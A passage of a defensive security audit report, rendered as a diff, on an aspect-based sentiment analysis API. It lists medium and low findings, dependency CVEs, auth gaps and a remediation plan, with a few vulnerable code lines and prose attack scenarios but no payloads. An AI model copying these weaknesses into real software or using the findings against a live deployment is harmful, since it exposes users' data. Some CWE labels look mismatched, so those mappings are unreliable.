**Lines:** 6β8, 24
|
| 236 |
-
|
| 237 |
-
**Description:** The `ReviewInput` schema accepts a `text` field of type `str` with no `max_length` constraint. While the dashboard imposes a 512-char limit client-side, the API has no server-side enforcement, allowing arbitrarily large text to be submitted.
|
| 238 |
-
|
| 239 |
-
**Attack Scenario:** An attacker sends a 100MB text string, exhausting server memory during tokenization and inference.
|
| 240 |
-
|
| 241 |
-
**Recommended Fix:** Add `max_length=10000` (or reasonable value) to the Pydantic model field.
|
| 242 |
-
|
| 243 |
-
---
|
| 244 |
-
|
| 245 |
-
### M-03: Unvalidated File Upload β No Content-Type Validation
|
| 246 |
-
|
| 247 |
-
**Severity:** Medium
|
| 248 |
-
**CWE:** CWE-434 (Unrestricted Upload of File with Dangerous Type)
|
| 249 |
-
**OWASP:** A05:2021 β Security Misconfiguration
|
| 250 |
-
**File:** `api/app/routes/predict.py:54-56`
|
| 251 |
-
**Lines:** 54β56
|
| 252 |
-
|
| 253 |
-
**Description:** File upload validation only checks the filename extension (`.csv`). The actual file content is not validated:
|
| 254 |
-
```python
|
| 255 |
-
if not file.filename.endswith(".csv"):
|
| 256 |
-
raise HTTPException(status_code=422, detail="Only CSV files are allowed.")
|
| 257 |
-
```
|
| 258 |
-
|
| 259 |
-
An attacker can upload a `.csv` file that is actually an executable, zip bomb, or symlink.
|
| 260 |
-
|
| 261 |
-
**Attack Scenario:** An attacker uploads a compressed CSV with "text" column that contains script payloads. The file is saved to a temp directory and processed by Celery.
|
| 262 |
-
|
| 263 |
-
**Recommended Fix:** Validate MIME type server-side, limit file size at the upload handler, and validate CSV content structure before processing.
|
| 264 |
-
|
| 265 |
-
---
|
| 266 |
-
|
| 267 |
-
### M-04: Hardcoded MLflow Tracking URI and Secrets in Source Code
|
| 268 |
-
|
| 269 |
-
**Severity:** Medium
|
| 270 |
-
**CWE:** CWE-798 (Use of Hardcoded Credentials)
|
| 271 |
-
**OWASP:** A05:2021 β Security Misconfiguration
|
| 272 |
-
**Files:** Various training scripts
|
| 273 |
-
|
| 274 |
-
**Description:** MLflow tracking URI is hardcoded as `sqlite:///mlflow.db` in multiple files, and Hugging Face credentials are hardcoded as `YOUR_HF_USERNAME`:
|
| 275 |
-
- `src/models/train_joint_absa.py:195` β `mlflow.set_tracking_uri("sqlite:///mlflow.db")`
|
| 276 |
-
- `src/training/mlflow_utils.py:6` β `MLFLOW_TRACKING_URI = "sqlite:///mlflow/mlflow.db"`
|
| 277 |
-
- `scripts/upload_models.py:7` β `username = os.environ.get("HF_USERNAME", "YOUR_HF_USERNAME")`
|
| 278 |
-
|
| 279 |
-
**Attack Scenario:** In production, these would connect to the wrong tracking server or expose repository information.
|
| 280 |
-
|
| 281 |
-
**Recommended Fix:** Load MLflow URI and all credentials from environment variables.
|
| 282 |
-
|
| 283 |
-
---
|
| 284 |
-
|
| 285 |
-
### M-05: Prometheus Metrics Expose Sensitive Information
|
| 286 |
-
|
| 287 |
-
**Severity:** Medium
|
| 288 |
-
**CWE:** CWE-200 (Exposure of Sensitive Information to an Unauthorized Actor)
|
| 289 |
-
**OWASP:** A01:2021 β Broken Access Control
|
| 290 |
-
**File:** `api/app/main.py:44`
|
| 291 |
-
**Line:** 44
|
| 292 |
-
|
| 293 |
-
**Description:** Prometheus metrics endpoint `/metrics` is publicly exposed without authentication:
|
| 294 |
-
```python
|
| 295 |
-
instrumentator.instrument(app).expose(app, endpoint="/metrics")
|
| 296 |
-
```
|
| 297 |
-
|
| 298 |
-
The metrics include request counts, latencies, in-progress requests, and potentially internal system information.
|
| 299 |
-
|
| 300 |
-
**Attack Scenario:** An attacker can monitor system performance and request patterns, identifying slow endpoints or determining when batch processing jobs run.
|
| 301 |
-
|
| 302 |
-
**Recommended Fix:** Add authentication to the `/metrics` endpoint or restrict it to internal network access.
|
| 303 |
-
|
| 304 |
-
---
|
| 305 |
-
|
| 306 |
-
### M-06: Unrestricted File Write via Batch Results
|
| 307 |
-
|
| 308 |
-
**Severity:** Medium
|
| 309 |
-
**CWE:** CWE-73 (External Control of File Name or Path)
|
| 310 |
-
**OWASP:** A01:2021 β Broken Access Control
|
| 311 |
-
**File:** `api/app/tasks/batch_tasks.py:31-32`
|
| 312 |
-
**Lines:** 31β32
|
| 313 |
-
|
| 314 |
-
**Description:** Batch results are written to `data/results/{job_id}.csv` where `job_id` is a UUID, but the job_id validation is insufficient at earlier stages. The results directory is wide-open for file writes.
|
| 315 |
-
|
| 316 |
-
**Attack Scenario:** Combined with path traversal in the download endpoint, an attacker could craft a job_id to write files outside the intended directory.
|
| 317 |
-
|
| 318 |
-
**Recommended Fix:** Ensure job_id is validated as a UUID before file operations.
|
| 319 |
-
|
| 320 |
-
---
|
| 321 |
-
|
| 322 |
-
### M-07: No HTTPS/TLS Termination
|
| 323 |
-
|
| 324 |
-
**Severity:** Medium
|
| 325 |
-
**CWE:** CWE-319 (Cleartext Transmission of Sensitive Information)
|
| 326 |
-
**OWASP:** A02:2021 β Cryptographic Failures
|
| 327 |
-
**Files:** `config/docker/nginx.dashboard.conf`, `docker-compose.yml`
|
| 328 |
-
|
| 329 |
-
**Description:** All services communicate over plain HTTP. The Nginx config listens on port 80 with no TLS. The FastAPI server binds to `0.0.0.0:8000` over HTTP. The dashboard config (`VITE_API_URL=http://localhost:8000`) defaults to HTTP.
|
| 330 |
-
|
| 331 |
-
**Attack Scenario:** On a non-local network, an attacker can MITM all API traffic, reading prediction text and response data.
|
| 332 |
-
|
| 333 |
-
**Recommended Fix:** Add TLS termination at the Nginx level. Use environment-specific URLs.
|
| 334 |
-
|
| 335 |
-
---
|
| 336 |
-
|
| 337 |
-
### M-08: Hardcoded Redis Configuration
|
| 338 |
-
|
| 339 |
-
**Severity:** Medium
|
| 340 |
-
**CWE:** CWE-798 (Use of Hardcoded Credentials)
|
| 341 |
-
**OWASP:** A05:2021 β Security Misconfiguration
|
| 342 |
-
**File:** `config/docker/docker-compose.yml:68-69`
|
| 343 |
-
|
| 344 |
-
**Description:** Redis is deployed without authentication (`redis:7-alpine` with no `requirepass`). This is the production docker-compose.
|
| 345 |
-
|
| 346 |
-
**Attack Scenario:** Anyone on the Docker network can connect to Redis, read/write cache data, and potentially trigger Celery task manipulation.
|
| 347 |
-
|
| 348 |
-
**Recommended Fix:** Add `--requirepass` to Redis or use a password from environment.
|
| 349 |
-
|
| 350 |
-
---
|
| 351 |
-
|
| 352 |
-
### M-09: CORS Not Configured Limitingly
|
| 353 |
-
|
| 354 |
-
**Severity:** Medium
|
| 355 |
-
**CWE:** CWE-942 (Permissive Cross-domain Policy with Untrusted Domains)
|
| 356 |
-
**OWASP:** A05:2021 β Security Misconfiguration
|
| 357 |
-
**File:** `api/app/main.py`
|
| 358 |
-
|
| 359 |
-
**Description:** FastAPI has no CORS middleware configured. The default behavior allows no CORS headers, but when deployed behind Nginx, the proxy may inadvertently allow permissive CORS. In some configurations, this can lead to CSRF-like attacks.
|
| 360 |
-
|
| 361 |
-
**Attack Scenario:** If the API is accessed by browser-based clients without proper CORS configuration, a malicious site could attempt to trick logged-in users.
|
| 362 |
-
|
| 363 |
-
**Recommended Fix:** Explicitly configure CORS middleware with allowed origins, methods, and headers.
|
| 364 |
-
|
| 365 |
-
---
|
| 366 |
-
|
| 367 |
-
## Low Findings
|
| 368 |
-
|
| 369 |
-
### L-01: Temp File Not Deleted After Batch Processing
|
| 370 |
-
|
| 371 |
-
**Severity:** Low
|
| 372 |
-
**CWE:** CWE-377 (Insecure Temporary File)
|
| 373 |
-
**OWASP:** A04:2021 β Insecure Design
|
| 374 |
-
**File:** `api/app/routes/predict.py:60-61`
|
| 375 |
-
**Lines:** 60β61
|
| 376 |
-
|
| 377 |
-
**Description:** Uploaded CSV files are written to `tempfile.NamedTemporaryFile(delete=False)` but are never explicitly deleted after processing. The garbage collector may not clean them promptly.
|
| 378 |
-
|
| 379 |
-
**Attack Scenario:** Over time, disk space on the server is exhausted by accumulated temp files. Additionally, the temp files may contain sensitive review data.
|
| 380 |
-
|
| 381 |
-
**Recommended Fix:** Ensure temp file is deleted in a `finally` block after the Celery task completes, or use `delete=True` (which is default).
|
| 382 |
-
|
| 383 |
-
---
|
| 384 |
-
|
| 385 |
-
### L-02: `load_dotenv()` Called Multiple Times
|
| 386 |
-
|
| 387 |
-
**Severity:** Low
|
| 388 |
-
**CWE:** CWE-200 (Exposure of Sensitive Information)
|
| 389 |
-
**OWASP:** A05:2021 β Security Misconfiguration
|
| 390 |
-
**Files:** `api/app/main.py:8`, `api/app/middleware/dependencies.py:6`, `scripts/init_db.py:11`
|
| 391 |
-
|
| 392 |
-
**Description:** `load_dotenv()` is called in multiple files, meaning environment variables are loaded from disk in multiple locations. While not directly harmful, it indicates a lack of centralized configuration management.
|
| 393 |
-
|
| 394 |
-
**Attack Scenario:** None directly, but inconsistent env loading could lead to different services using different configurations.
|
| 395 |
-
|
| 396 |
-
**Recommended Fix:** Call `load_dotenv()` only in the main application entry point.
|
| 397 |
-
|
| 398 |
-
---
|
| 399 |
-
|
| 400 |
-
### L-03: Debug/Verbose Logging Enabled
|
| 401 |
-
|
| 402 |
-
**Severity:** Low
|
| 403 |
-
**CWE:** CWE-489 (Active Debug Code)
|
| 404 |
-
**OWASP:** A05:2021 β Security Misconfiguration
|
| 405 |
-
**File:** `config/docker/docker-compose.yml`
|
| 406 |
-
**Line:** 12
|
| 407 |
-
|
| 408 |
-
**Description:** The production compose file sets `LOG_LEVEL=WARNING`, but the dev compose sets `LOG_LEVEL=INFO` which may expose verbose information.
|
| 409 |
-
|
| 410 |
-
**Also:** Multiple `print()` statements are used instead of proper logging throughout the codebase:
|
| 411 |
-
- `api/app/main.py:21,24` β `print("Initializing Database...")`, `print("Loading Models...")`
|
| 412 |
-
- `print()` in many training scripts
|
| 413 |
-
|
| 414 |
-
**Attack Scenario:** Verbose logging may expose sensitive information in log files.
|
| 415 |
-
|
| 416 |
-
**Recommended Fix:** Use structured logging (`loguru` or standard `logging`) instead of print, and configure log levels via environment variables.
|
| 417 |
-
|
| 418 |
-
---
|
| 419 |
-
|
| 420 |
-
### L-04: SQLite Used in Production Configuration
|
| 421 |
-
|
| 422 |
-
**Severity:** Low
|
| 423 |
-
**CWE:** CWE-1053 (Missing Documentation for Security Controls)
|
| 424 |
-
**OWASP:** A05:2021 β Security Misconfiguration
|
| 425 |
-
**File:** `.env`
|
| 426 |
-
**Line:** 1
|
| 427 |
-
|
| 428 |
-
**Description:** The active `.env` file uses SQLite: `sqlite:////Users/theogengineer/Projects/Multilingual-Absa/absa.db`. SQLite is unsuitable for production workloads β no concurrent write support, no access controls.
|
| 429 |
-
|
| 430 |
-
**Attack Scenario:** SQLite file accessible to anyone with filesystem access.
|
| 431 |
-
|
| 432 |
-
**Recommended Fix:** Use PostgreSQL (already configured in docker-compose.yml).
|
| 433 |
-
|
| 434 |
-
---
|
| 435 |
-
|
| 436 |
-
### L-05: No Session Timeout or Management
|
| 437 |
-
|
| 438 |
-
**Severity:** Low
|
| 439 |
-
**CWE:** CWE-613 (Insufficient Session Expiration)
|
| 440 |
-
**OWASP:** A07:2021 β Identification and Authentication Failures
|
| 441 |
-
**Files:** All
|
| 442 |
-
|
| 443 |
-
**Description:** There is no session management at all. The Streamlit app makes stateless API calls, and the React dashboard has no auth.
|
| 444 |
-
|
| 445 |
-
**Attack Scenario:** None directly (no sessions), but users may assume their "session" is secure.
|
| 446 |
-
|
| 447 |
-
**Recommended Fix:** Implement token-based auth for any future session requirements.
|
| 448 |
-
|
| 449 |
-
---
|
| 450 |
-
|
| 451 |
-
### L-06: Hardcoded Seed Values for Randomness
|
| 452 |
-
|
| 453 |
-
**Severity:** Low
|
| 454 |
-
**CWE:** CWE-335 (Incorrect Usage of Seeds in Pseudo-Random Number Generator)
|
| 455 |
-
**OWASP:** A02:2021 β Cryptographic Failures
|
| 456 |
-
**Files:** Multiple training scripts
|
| 457 |
-
|
| 458 |
-
**Description:** `set_seed(42)` is hardcoded in every training script. This is standard for reproducibility but means the random seed is predictable.
|
| 459 |
-
|
| 460 |
-
**Attack Scenario:** An attacker who understands the model training pipeline could predict train/test splits.
|
| 461 |
-
|
| 462 |
-
**Recommended Fix:** Make seed configurable via config/env while keeping a default.
|
| 463 |
-
|
| 464 |
-
---
|
| 465 |
-
|
| 466 |
-
### L-07: Unnecessary Console Output in Production
|
| 467 |
-
|
| 468 |
-
**Severity:** Low
|
| 469 |
-
**CWE:** CWE-532 (Information Exposure Through Query Strings in GET Request)
|
| 470 |
-
**OWASP:** A04:2021 β Insecure Design
|
| 471 |
-
**Files:** `api/app/main.py:21,24,29`
|
| 472 |
-
|
| 473 |
-
**Description:** The application prints messages to stdout at startup, including database initialization status and model loading information. In production, this should use proper logging.
|
| 474 |
-
|
| 475 |
-
**Attack Scenario:** Startup logs in container environments may expose internal paths and configuration.
|
| 476 |
-
|
| 477 |
-
**Recommended Fix:** Replace `print()` with `logging.info()`.
|
| 478 |
-
|
| 479 |
-
---
|
| 480 |
-
|
| 481 |
-
### L-08: Missing Security Headers
|
| 482 |
-
|
| 483 |
-
**Severity:** Low
|
| 484 |
-
**CWE:** CWE-693 (Protection Mechanism Failure)
|
| 485 |
-
**OWASP:** A05:2021 β Security Misconfiguration
|
| 486 |
-
**File:** `config/docker/nginx.dashboard.conf`
|
| 487 |
-
|
| 488 |
-
**Description:** The Nginx configuration does not include security headers. Missing headers include:
|
| 489 |
-
- `X-Content-Type-Options: nosniff`
|
| 490 |
-
- `X-Frame-Options: DENY`
|
| 491 |
-
- `Content-Security-Policy`
|
| 492 |
-
- `Strict-Transport-Security`
|
| 493 |
-
- `X-XSS-Protection`
|
| 494 |
-
|
| 495 |
-
**Attack Scenario:** Missing headers weaken browser security protections, making XSS and other attacks easier.
|
| 496 |
-
|
| 497 |
-
**Recommended Fix:** Add security headers to the Nginx configuration.
|
| 498 |
-
|
| 499 |
-
---
|
| 500 |
-
|
| 501 |
-
## Dependency Risks
|
| 502 |
-
|
| 503 |
-
### D-01: Pandas Version β CVE-2024-42992
|
| 504 |
-
- **Installed:** `pandas==2.2.2`
|
| 505 |
-
- **Risk:** Medium β Deserialization of untrusted data via `pd.read_pickle()`.
|
| 506 |
-
- **Impact:** If `pd.read_pickle()` is used with untrusted data, code execution is possible.
|
| 507 |
-
- **Current usage:** `pd.read_csv()` is used β low risk in current code, but should be patched.
|
| 508 |
-
- **Recommendation:** Upgrade to `pandas>=2.2.3`.
|
| 509 |
-
|
| 510 |
-
### D-02: MLflow β Security Issue Tracking
|
| 511 |
-
- **Installed:** `mlflow==2.13.0`
|
| 512 |
-
- **Risk:** Medium β MLflow 2.x has known issues with authenticated access control.
|
| 513 |
-
- **Impact:** MLflow tracking server runs without authentication by default.
|
| 514 |
-
- **Recommendation:** Upgrade to latest `mlflow>=2.15.0` and add authentication.
|
| 515 |
-
|
| 516 |
-
### D-03: FastAPI β CVE-2024-24762
|
| 517 |
-
- **Installed:** `fastapi==0.111.0`
|
| 518 |
-
- **Risk:** Medium β Path traversal in `StaticFiles` when mounted.
|
| 519 |
-
- **Impact:** Potential arbitrary file reads via static file mounting.
|
| 520 |
-
- **Recommendation:** Upgrade to `fastapi>=0.115.0`.
|
| 521 |
-
|
| 522 |
-
### D-04: Jinja2 β CVE-2024-56326
|
| 523 |
-
- **Installed:** `jinja2>=3.1.4`
|
| 524 |
-
- **Risk:** High β Sandbox escape vulnerability leading to arbitrary code execution.
|
| 525 |
-
- **Impact:** Template injection allowing remote code execution.
|
| 526 |
-
- **Recommendation:** Upgrade to `jinja2>=3.1.5`.
|
| 527 |
-
|
| 528 |
-
### D-05: Transformers β Dependency Tree Risks
|
| 529 |
-
- **Installed:** `transformers==4.39.3`
|
| 530 |
-
- **Risk:** Low β Large dependency footprint with many transitive dependencies.
|
| 531 |
-
- **Impact:** Supply-chain risk from numerous dependencies.
|
| 532 |
-
- **Recommendation:** Pin with hash checking in production.
|
| 533 |
-
|
| 534 |
-
### D-06: psycopg2-binary β Best Practice
|
| 535 |
-
- **Installed:** `psycopg2-binary==2.9.9`
|
| 536 |
-
- **Risk:** Low β The `-binary` wheel is not recommended for production.
|
| 537 |
-
- **Recommendation:** Use `psycopg2` (source build) in production.
|
| 538 |
-
|
| 539 |
-
### D-07: httpx β Version Risk
|
| 540 |
-
- **Installed:** `httpx==0.27.0`
|
| 541 |
-
- **Risk:** Low
|
| 542 |
-
- **Recommendation:** Upgrade to `httpx>=0.28.0` for security fixes.
|
| 543 |
-
|
| 544 |
-
---
|
| 545 |
-
|
| 546 |
-
## Infrastructure Risks
|
| 547 |
-
|
| 548 |
-
### I-01: Docker Containers Run Services as Non-Root (Good)
|
| 549 |
-
- Dockerfiles correctly add a non-root user.
|
| 550 |
-
|
| 551 |
-
### I-02: `latest` Image Tags for Prometheus and Grafana
|
| 552 |
-
- **Risk:** Medium β Using `prom/prometheus:latest` and `grafana/grafana:latest` means unpredictable version updates could introduce breaking changes or vulnerabilities.
|
| 553 |
-
- **Recommendation:** Pin to specific version tags.
|
| 554 |
-
|
| 555 |
-
### I-03: No Container Resource Limits (Dev Compose)
|
| 556 |
-
- **Risk:** Medium β No CPU/memory limits in the dev compose, enabling resource exhaustion.
|
| 557 |
-
|
| 558 |
-
### I-04: Exposed Ports Without Firewall
|
| 559 |
-
- **Risk:** Medium β Multiple ports exposed (8000, 8501, 5432, 6379, 9090, 3001) without network isolation.
|
| 560 |
-
|
| 561 |
-
### I-05: No Docker Network Segmentation
|
| 562 |
-
- **Risk:** Low β All services in the same Docker network with no ingress restrictions.
|
| 563 |
-
|
| 564 |
-
---
|
| 565 |
-
|
| 566 |
-
## Authentication Review
|
| 567 |
-
|
| 568 |
-
| Aspect | Status | Risk |
|
| 569 |
-
|--------|--------|------|
|
| 570 |
-
| API Authentication | β Not implemented | Critical |
|
| 571 |
-
| Streamlit Auth | β Not implemented | Critical |
|
| 572 |
-
| Dashboard Auth | β Not implemented | High |
|
| 573 |
-
| Database Auth | β οΈ Hardcoded in compose | High |
|
| 574 |
-
| Grafana Auth | β οΈ Hardcoded `admin` password | High |
|
| 575 |
-
| Redis Auth | β No password | Medium |
|
| 576 |
-
| Celery Backend Auth | β Depends on Redis | Medium |
|
| 577 |
-
| JWT / Token Auth | β Not implemented | High |
|
| 578 |
-
| OAuth / SSO | β Not implemented | Low |
|
| 579 |
-
| API Key Middleware | β Not implemented | High |
|
| 580 |
-
|
| 581 |
-
---
|
| 582 |
-
|
| 583 |
-
## Authorization Review
|
| 584 |
-
|
| 585 |
-
| Aspect | Status | Risk |
|
| 586 |
-
|--------|--------|------|
|
| 587 |
-
| RBAC | β Not implemented | High |
|
| 588 |
-
| Endpoint-level auth | β Not implemented | High |
|
| 589 |
-
| File access control | β Path traversal possible | High |
|
| 590 |
-
| Admin/Mgmt endpoints | β `/metrics` public | Medium |
|
| 591 |
-
| Data isolation | β No user scoping | Medium |
|
| 592 |
-
|
| 593 |
-
---
|
| 594 |
-
|
| 595 |
-
## API Security Review
|
| 596 |
-
|
| 597 |
-
| Category | Status | Risk |
|
| 598 |
-
|----------|--------|------|
|
| 599 |
-
| Input Validation | β οΈ Partial (Pydantic) | High |
|
| 600 |
-
| Rate Limiting | β Not implemented | High |
|
| 601 |
-
| CORS | β Not configured | Medium |
|
| 602 |
-
| CSRF Protection | β Not implemented | Medium |
|
| 603 |
-
| HTTPS/TLS | β Not configured | High |
|
| 604 |
-
| Security Headers | β Not configured | Med |
|
| 605 |
-
| Content-Type Validation | β Extension-only check | Medium |
|
| 606 |
-
| Request Size Limits | β οΈ Client-side only | High |
|
| 607 |
-
| Error Handling | β οΈ Verbose errors | High |
|
| 608 |
-
| Logging | β Inconsistent (print) | Low |
|
| 609 |
-
|
| 610 |
-
---
|
| 611 |
-
|
| 612 |
-
## Secure Coding Recommendations
|
| 613 |
-
|
| 614 |
-
### Immediate (Critical)
|
| 615 |
-
1. Remove `| safe` from Jinja2 template in `predict_result.html:71`
|
| 616 |
-
2. Replace `innerHTML` with DOM API methods in `predict_result.html:86`
|
| 617 |
-
3. Fix path traversal in `/download/{job_id}` endpoint
|
| 618 |
-
|
| 619 |
-
### Short-term (High)
|
| 620 |
-
4. Add authentication middleware (API key or JWT)
|
| 621 |
-
5. Remove hardcoded credentials from docker-compose.yml (use Docker secrets)
|
| 622 |
-
6. Add SQL parameterization in `drift_monitor.py:32`
|
| 623 |
-
7. Add `max_length` constraint to Pydantic schemas
|
| 624 |
-
8. Implement rate limiting with `slowapi`
|
| 625 |
-
9. Validate MIME type on file upload
|
| 626 |
-
10. Add TLS termination at Nginx
|
| 627 |
-
|
| 628 |
-
### Medium-term
|
| 629 |
-
11. Replace all `print()` with structured logging
|
| 630 |
-
12. Add CORS middleware configuration
|
| 631 |
-
13. Add security headers to Nginx
|
| 632 |
-
14. Upvote dependencies (Jinja2 >=3.1.5, pandas >=2.2.3)
|
| 633 |
-
15. Pin Docker image versions
|
| 634 |
-
16. Add `Content-Security-Policy` header
|
| 635 |
-
17. Configure logging properly (structured, levels)
|
| 636 |
-
|
| 637 |
-
---
|
| 638 |
-
|
| 639 |
-
## Prioritized Remediation Plan
|
| 640 |
-
|
| 641 |
-
### Phase 1 β Critical (24 hours)
|
| 642 |
-
1. Patch `predict_result.html` β remove `| safe`, replace `innerHTML`
|
| 643 |
-
2. Patch `results.py` β add path traversal protection
|
| 644 |
-
3. Patch `predict.py` β add `max_length` to schema, file size validation
|
| 645 |
-
|
| 646 |
-
### Phase 2 β High (1 week)
|
| 647 |
-
4. Add API authentication middleware
|
| 648 |
-
5. Remove hardcoded credentials from docker-compose
|
| 649 |
-
6. Fix SQL injection in `drift_monitor.py`
|
| 650 |
-
7. Add rate limiting
|
| 651 |
-
8. Add TLS termination
|
| 652 |
-
9. Add MIME type validation on uploads
|
| 653 |
-
|
| 654 |
-
### Phase 3 β Medium (2 weeks)
|
| 655 |
-
10. Add CORS middleware
|
| 656 |
-
11. Add security headers to Nginx
|
| 657 |
-
12. Pin Docker image versions
|
| 658 |
-
13. Update dependencies
|
| 659 |
-
14. Replace `print()` with logging
|
| 660 |
-
|
| 661 |
-
### Phase 4 β Low (Monthly)
|
| 662 |
-
15. Add session management
|
| 663 |
-
16. Implement RBAC
|
| 664 |
-
17. Configure CSRF protection
|
| 665 |
-
18. Add audit logging
|
| 666 |
-
19. Add security scanning to CI/CD pipeline
|
| 667 |
-
|
| 668 |
-
---
|
| 669 |
-
|
| 670 |
-
*Audit performed by Automated Security Review. All findings should be verified manually before remediation.*
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
